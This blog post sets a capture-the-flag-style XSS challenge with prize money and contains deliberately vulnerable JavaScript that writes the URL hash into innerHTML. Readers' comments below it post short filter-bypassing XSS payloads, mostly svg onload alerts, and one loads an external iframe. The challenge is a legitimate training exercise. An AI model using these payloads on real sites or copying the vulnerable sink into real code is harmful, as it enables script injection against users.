David Sopas – Web Security Researcher

August 14, 2015 at 9:17 am

Win $50 Amazon Gift card with a XSS challenge

Win $50 Amazon Gift card with a XSS challenge

I’m a big fan of XSS and to make my new website more visible to the infosec guys I’m offering two Amazon gift cards.
The first correct solution will have a $50 Amazon Gift card. The second one will receive $25 Amazon Gift card.

The rules are simple (like the challenge). Show a alert box in the following vulnerable code with a message containing the word xss.

<script>
function go()
{
var w = location.hash;
w = w.replace(/['", ]+/g, "");
document.getElementById("say").innerHTML = w.substring(0,26);
}
</script>

<div id="say"></div>

<a onclick="go()">Say it</a> 

Rules:

  • You can’t use some of the chars represented in the w.replace line of code
  • You can only use Chrome, Firefox, Opera, Internet Explorer or Safari latest versions
  • XSS vector must be less or equal to 26 chars long
  • When commenting your entry use the [ code]code[ /code] to write your code (without the leading space)

The challenge will end on 19 august at midnight. All the solutions must be added in this post comments.
All the comments will be inactive until the challenge finishes.

UPDATE: I’ll give a bonus to the user who replies with the most creative XSS.

Good luck! Happy hunting 🙂

0 likes Challenge # ,
Share: / / /

16 thoughts on “Win $50 Amazon Gift card with a XSS challenge

  1. Double post, probably chars were stripped from blog comments code. You should decode it before trying, anyway

    #<svg/onload=alert(`xss`)>

    tested on firefox 😀

  2. Kenan says:
    #<svg/onload=alert(/xss/)>
  3. .mario says:
    #<svg/onload=alert`xss`>

    (Works on MS Edge, Win10)

    1. .mario says:

      Oh, also works on FF34+ (incl. latest). Not sure if Edge is allowed ^^

  4. Kenan says:
    #<p/onclick=alert(/xss/)>a
  5. Swissky says:

    We could use the following payload to execute an alert with the word XSS , simple but effective ^^

    <svg/onload=alert(/XSS/)>

    Tested on Firefox 40.0

    Have fun 🙂

  6. RG says:

    This works (if you click on the big “a”):

    <h1/onclick=alert(1)>a
  7. Manuel Herrera says:
    ")}alert(/XSS/);{//

    http://jsfiddle.net/Lk41g897/1/

  8. mohamed al-sagaaf says:
    function go()
    {
    var w = location.hash;
    w = w.replace(/['", ]+/g, "");
    document.getElementById("" onclick=alert(1)//*/alert(1)//").innerHTML = w.substring(0,26);
    }
    
     
    <div id=""; onclick=alert(1)//*/alert(1)// ">;
     
    <a>" onclick=alert(1)//*/alert(1)// ' </a>
  9. Fragile says:
    <svg/onload=alert(`xss`)>
  10. shhnjk says:
    <svg/onload=alert(/xss/)>

    Works on latest Firefox.

  11. <svg/onload=alert`xss`>

    Tested on latest ff

  12. <iframe/src=//14.rs>

    Tested ff

  13. Eminem says:
    #<svg/onload=alert(/xss/)>
  14. Paresh says:
    <svg><script>/<@/>alert(1)</script>

    Browser: Firefox
    Os: Windows

  15. Salem Elmrayed says:
    <1/<svg/onload=alert`1`;>

    works on Microsoft Edge

Leave a Reply

Your email address will not be published. Required fields are marked *